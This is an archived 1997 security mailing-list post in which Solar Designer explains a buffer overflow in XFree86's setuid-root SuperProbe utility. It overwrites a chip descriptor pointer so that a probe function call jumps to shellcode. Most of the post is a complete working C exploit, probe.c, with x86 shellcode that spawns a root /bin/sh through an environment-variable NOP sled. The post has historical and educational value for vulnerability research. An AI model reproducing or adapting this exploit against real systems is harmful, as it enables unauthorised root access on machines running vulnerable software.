[59] in Best-of-Security

home help back first fref pref prev next nref lref last post

BoS: Linux SuperProbe exploit

daemon@ATHENA.MIT.EDU (solar@IDEAL.RU)
Fri Mar 7 08:58:00 1997

Date: 	Tue, 4 Mar 1997 23:24:28 -0500
Reply-To: solar@IDEAL.RU
From: solar@IDEAL.RU
Errors-To: best-of-security-request@suburbia.net
To: best-of-security@suburbia.net
Resent-From: best-of-security@suburbia.net

Hi!

SuperProbe is a program supplied with XFree86 (to determine the type of video
hardware installed in the machine), and it is installed setuid root in many
Linux distributions. It has already been discussed here that SuperProbe got
some buffer overflows, but there still seems to be no exploit. The reason for
this might be that the exploit has to be a bit unusual. That's why I decided
to post the exploit, as an example of exploiting an overflow without dealing
with the return address.

The overflow I'm exploiting is in the TestChip function:

> static Bool TestChip(chip_p, Chipset)
> Chip_Descriptor *chip_p;
> int *Chipset;
> {
>     char *p, *p1, name[64];

[...]

>                 (void)strcpy(name, p);
>             }
>             if (StrCaseCmp(name, chip_p->name) == 0)

[...]

>     if (chip_p->f(Chipset))
>     {
>         return(TRUE);
>     }
>     return(FALSE);
> }

Chip_Descriptor is defined like this:

> typedef Bool (*ProbeFunc) __STDCARGS((int *));

[...]

> typedef struct {
>         char            *name;          /* Chipset vendor/class name    */
>         ProbeFunc       f;              /* Probe function               */

[...]

> } Chip_Descriptor;

It is possible to overwrite the return address by the strcpy, but one byte of
chip_p would get zeroed out (since chip_p is located right after the return
address, and the string is ASCIIZ). This would cause the program to crash when
trying to access chip_p->name for passing it to StrCaseCmp, before the return
address is used.

That's why I overwrite chip_p to point into an environment variable (well, the
return address gets overwritten also, but it's never used), which has an array
of pointers to the shellcode (located at the end of the same variable's value)
in it. One of these is first used by StrCaseCmp, so it doesn't crash, and the
next one is used as the probe function pointer, so the shellcode gets executed
when calling chip_p->f() (it might be required to adjust the alignment in my
exploit, try values 0 to 3 if the default does't work).

--- probe.c ---

/*
 * SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
 * Copyright (c) 1997 by Solar Designer
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
  "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
  "\x31\xdb\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
  asm("movl %esp,%eax");
}

#define bufsize 8192
#define alignment 0
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize / 2; i += 4)
    *(char **)&buffer[i] = get_sp() - 2048;
  memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
  strcpy(&buffer[bufsize - 256], shellcode);
  setenv("SHELLCODE", buffer, 1);

  memset(buffer, 'x', 72);
  *(char **)&buffer[72] = get_sp() - 6144 - alignment;
  buffer[76] = 0;

  execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
}

--- probe.c ---

Signed,
Solar Designer


home help back first fref pref prev next nref lref last post